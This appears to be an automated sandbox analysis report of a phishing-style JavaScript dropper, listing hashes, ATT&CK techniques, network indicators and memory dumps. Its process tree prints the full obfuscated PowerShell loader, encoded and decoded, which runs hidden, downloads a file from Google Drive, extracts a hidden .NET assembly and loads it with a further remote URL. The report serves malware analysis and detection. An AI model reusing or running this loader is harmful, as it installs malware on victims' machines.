6fd9e1615f35936de97c300f336f368a0e1798638292f8a9dcbaa7df39a66687

General

Target

RFQ-CanparFFTradingCo..js
Size

180KB
MD5

0d3505de58b29682da0f4799e7812306
SHA1

9a411ead4bdbed963fdbaafd5729a77a35e63e66
SHA256

11d08c101934f51cee60658bbeb71a5988873bfacba3c00f25cea0bd67442926
SHA512

c037fef1c0ccb0fff448d0d2344c3edfc2613529ee04133a44b29ed111df9ded4b79f57057edc02c230c68827a0d2b3b1ea3f32f6ce583dd80c61a81b064ef90
SSDEEP

3072:94SWDYRx3twtUMy2xtn4BRGLGqlT6HYlxKm3+FmEM5SGDZx392xtn4BRGLGqlhG:xWAx3R4t4BRgjR64lIm3a1ZGdx394t4V

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	2108	wscript.exe
4	2108	wscript.exe
8	2876	powershell.exe
10	2876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1948	powershell.exe
2876	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
7	drive.google.com

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1948	powershell.exe
2876	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2108 wrote to memory of 1948	2108	wscript.exe	30
PID 2108 wrote to memory of 1948	2108	wscript.exe	30
PID 2108 wrote to memory of 1948	2108	wscript.exe	30
PID 1948 wrote to memory of 2876	1948	powershell.exe	32
PID 1948 wrote to memory of 2876	1948	powershell.exe	32
PID 1948 wrote to memory of 2876	1948	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\RFQ-CanparFFTradingCo..js
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JgAgACgAIAAkAEUATgB2ADoAQwBPAE0AcwBwAGUAYwBbADQALAAyADYALAAyADUAXQAtAEoAbwBpAE4AJwAnACkAKAAgACgAKAAnAE8AMgB2AGkAbQBhAGcAZQBVAHIAJwArACcAbAAgAD0AIABaAHoANQBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AMQAnACsAJwBBAEkAVgBnAEoASgBKAHYAMQBGADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAaABCAFkAdwB1AHIAWgB6ADUAOwBPADIAdgB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsATwAyAHYAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABPADIAdgB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwAnACsAJwB3AG4AbABvAGEAZABEAGEAdABhACgATwAyAHYAaQBtAGEAZwBlAFUAcgBsACkAOwBPADIAdgBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAJwArACcAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABPADIAdgBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBPADIAdgBzAHQAYQByAHQARgBsAGEAJwArACcAZwAgACcAKwAnAD0AIABaAHoANQA8ADwAQgBBAFMARQA2ADQAXwAnACsAJwBTAFQAQQBSAFQAPgA+AFoAegA1ADsATwAyAHYAZQBuAGQARgBsAGEAZwAgAD0AIABaAHoANQA8ADwAQgBBAFMARQA2ADQAJwArACcAXwBFAE4ARAA+AD4AWgB6ADUAOwBPADIAdgBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAE8AMgB2AGkAbQBhAGcAZQBUAGUAeAAnACsAJwB0AC4ASQBuAGQAZQB4AE8AZgAoAE8AMgB2AHMAdABhAHIAdABGAGwAYQBnACkAOwBPADIAdgBlAG4AZABJAG4AZABlAHgAIAA9ACAAJwArACcATwAyAHYAaQBtAGEAZwBlAFQAZQB4ACcAKwAnAHQALgBJAG4AZABlAHgATwBmACgATwAyAHYAZQBuAGQARgBsAGEAZwApADsATwAyAHYAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABPADIAdgBlAG4AZABJAG4AZABlACcAKwAnAHgAIAAtAGcAdAAgAE8AMgB2AHMAdABhAHIAdABJAG4AZABlAHgAOwBPADIAdgBzACcAKwAnAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAATwAyAHYAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AE8AMgB2AGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACAAPQAgAE8AMgB2AGUAbgBkAEkAbgBkAGUAeAAgAC0AIABPADIAdgBzAHQAYQByAHQASQBuAGQAZQB4ADsATwAyAHYAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABPADIAdgBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgATwAyAHYAcwB0AGEAcgB0AEkAbgAnACsAJwBkAGUAeAAsACAATwAyAHYAYgBhACcAKwAnAHMAZQA2ADQATABlAG4AZwB0ACcAKwAnAGgAKQA7AE8AMgB2AGIAYQBzAGUANgA0AFIAZQAnACsAJwB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAE8AMgB2AGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBUAG8AQwBoAGEAcgAnACsAJwBBAHIAcgBhAHkAKAApACAAMQBYAG0AIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAATwAyAHYAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAE8AMgB2AGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApAF0AOwBPADIAdgBjAG8AJwArACcAbQBtAGEAbgBkAEIAeQB0AGUAJwArACcAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGACcAKwAnAHIAbwBtAEIAYQBzACcAKwAnAGUANgA0AFMAdAByAGkAbgBnACgATwAyACcAKwAnAHYAYgBhAHMAZQA2ADQAJwArACcAUgBlAHYAZQByAHMAZQBkACkAOwBPADIAdgBsAG8AYQBkAGUAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQAnACsAJwBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAE8AMgB2AGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwBPADIAdgB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkAJwArACcATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAWgB6ACcAKwAnADUAVgBBAEkAWgB6ADUAKQA7AE8AMgB2AHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABPADIAdgBuACcAKwAnAHUAbABsACwAIABAACgAWgB6ADUAdAB4AHQALgBuAGkAZwBpAHIAbwAvAHYAdwBlAG4ALwByAGIALgBtAG8AYwAuADUAMAAxAHIAZQAuAG8AbQBsAC8ALwA6AHMAcAB0AHQAaABaAHoANQAsACAAWgB6ADUAZABlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBaAHoANQAsACAAWgB6ADUAZABlAHMAYQB0AGkAdgBhAGQAbwBaAHoANQAsACAAWgB6ADUAZABlAHMAYQB0AGkAdgBhAGQAbwBaAHoANQAsACAAWgB6ADUAQwBhAHMAUABvAGwAWgB6ADUALAAgAFoAegA1AGQAZQBzAGEAdABpAHYAYQBkAG8AWgB6ADUALABaAHoANQBkAGUAcwBhAHQAaQB2AGEAZABvACcAKwAnAFoAegA1ACwAWgB6ACcAKwAnADUAZAAnACsAJwBlAHMAYQB0AGkAdgBhAGQAbwAnACsAJwBaAHoANQAsAFoAegA1AFUAUgBMAFoAegA1ACwAIABaAHoANQBDADoAJwArACcAOABhAEQAUAByAG8AZwByAGEAbQBEAGEAdABhADgAYQBEAFoAegA1ACwAWgB6ADUAcABhAHQAaABvACcAKwAnAHAAJwArACcAaABvAGIAaQBhAFoAegA1ACwAWgB6ADUAagBzAFoAegA1ACwAWgB6ADUAMQBaACcAKwAnAHoANQAsAFoAegAnACsAJwA1ADEAWgB6ADUAKQApADsAJwApAC0AYwByAGUAcABMAEEAYwBFACAAJwBPADIAdgAnACwAWwBjAEgAYQByAF0AMwA2AC0AUgBFAHAATABhAGMARQAgACcAOABhAEQAJwAsAFsAYwBIAGEAcgBdADkAMgAgACAALQBSAEUAcABMAGEAYwBFACAAJwAxAFgAbQAnACwAWwBjAEgAYQByAF0AMQAyADQAIAAtAGMAcgBlAHAATABBAGMARQAnAFoAegA1ACcALABbAGMASABhAHIAXQAzADkAKQApAA==';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $ENv:COMspec[4,26,25]-JoiN'')( (('O2vimageUr'+'l = Zz5https://drive.google.com/uc?export=download&id=1'+'AIVgJJJv1F6vS4sUOybnH-sDvUhBYwurZz5;O2vwebClient = New-Object System.Net.WebClient;O2vimageBytes = O2vwebClient.Do'+'wnloadData(O2vimageUrl);O2vimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(O2vimageBytes);O2vstartFla'+'g '+'= Zz5<<BASE64_'+'START>>Zz5;O2vendFlag = Zz5<<BASE64'+'_END>>Zz5;O2vstartIndex = O2vimageTex'+'t.IndexOf(O2vstartFlag);O2vendIndex = '+'O2vimageTex'+'t.IndexOf(O2vendFlag);O2vstartIndex -ge 0 -and O2vendInde'+'x -gt O2vstartIndex;O2vs'+'tartIndex += O2vstartFlag.Length;O2vbase64Length = O2vendIndex - O2vstartIndex;O2vbase64Command = O2vimageText.Substring(O2vstartIn'+'dex, O2vba'+'se64Lengt'+'h);O2vbase64Re'+'versed = -join (O2vbase64Command.ToChar'+'Array() 1Xm ForEach-Object { O2v_ })[-1..-(O2vbase64Command.Length)];O2vco'+'mmandByte'+'s = [System.Convert]::F'+'romBas'+'e64String(O2'+'vbase64'+'Reversed);O2vloadedAssembly = [System.Re'+'flection.Assembly]::Load(O2vcommandBytes);O2vvaiMethod = [dnlib.I'+'O.Home].GetMethod(Zz'+'5VAIZz5);O2vvaiMethod.Invoke(O2vn'+'ull, @(Zz5txt.nigiro/vwen/rb.moc.501re.oml//:sptthZz5, Zz5desativado'+'Zz5, Zz5desativadoZz5, Zz5desativadoZz5, Zz5CasPolZz5, Zz5desativadoZz5,Zz5desativado'+'Zz5,Zz'+'5d'+'esativado'+'Zz5,Zz5URLZz5, Zz5C:'+'8aDProgramData8aDZz5,Zz5patho'+'p'+'hobiaZz5,Zz5jsZz5,Zz51Z'+'z5,Zz'+'51Zz5));')-crepLAcE 'O2v',[cHar]36-REpLacE '8aD',[cHar]92 -REpLacE '1Xm',[cHar]124 -crepLAcE'Zz5',[cHar]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TBJSDQL1PU13BD2IV4TS.temp

Filesize
7KB

MD5
c2693222a71b70dbe3cec053eb78cdaf

SHA1
3f6aef766d97e844beba8e4e3ca034ff21efd6b6

SHA256
84cdcc62afdf7052958d0dca20e4bd788c919998ddd319ec343beb0a05159e3f

SHA512
174505e12b52cd64aa9148a2c8748b3057d6970cd5e60a3b13c790351e27997b34d0f166a9b9c04d04d9c129bd1c20481248f026761e4d710845c384b6a49ab8

Download Submit
memory/1948-9-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-6-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-8-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-7-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/1948-10-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-4-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

Filesize
4KB

Download
memory/1948-11-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/1948-17-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-18-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

Filesize
4KB

Download
memory/1948-22-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2876-21-0x000000001AC70000-0x000000001ADCA000-memory.dmp

Filesize
1.4MB

Download

Analysis

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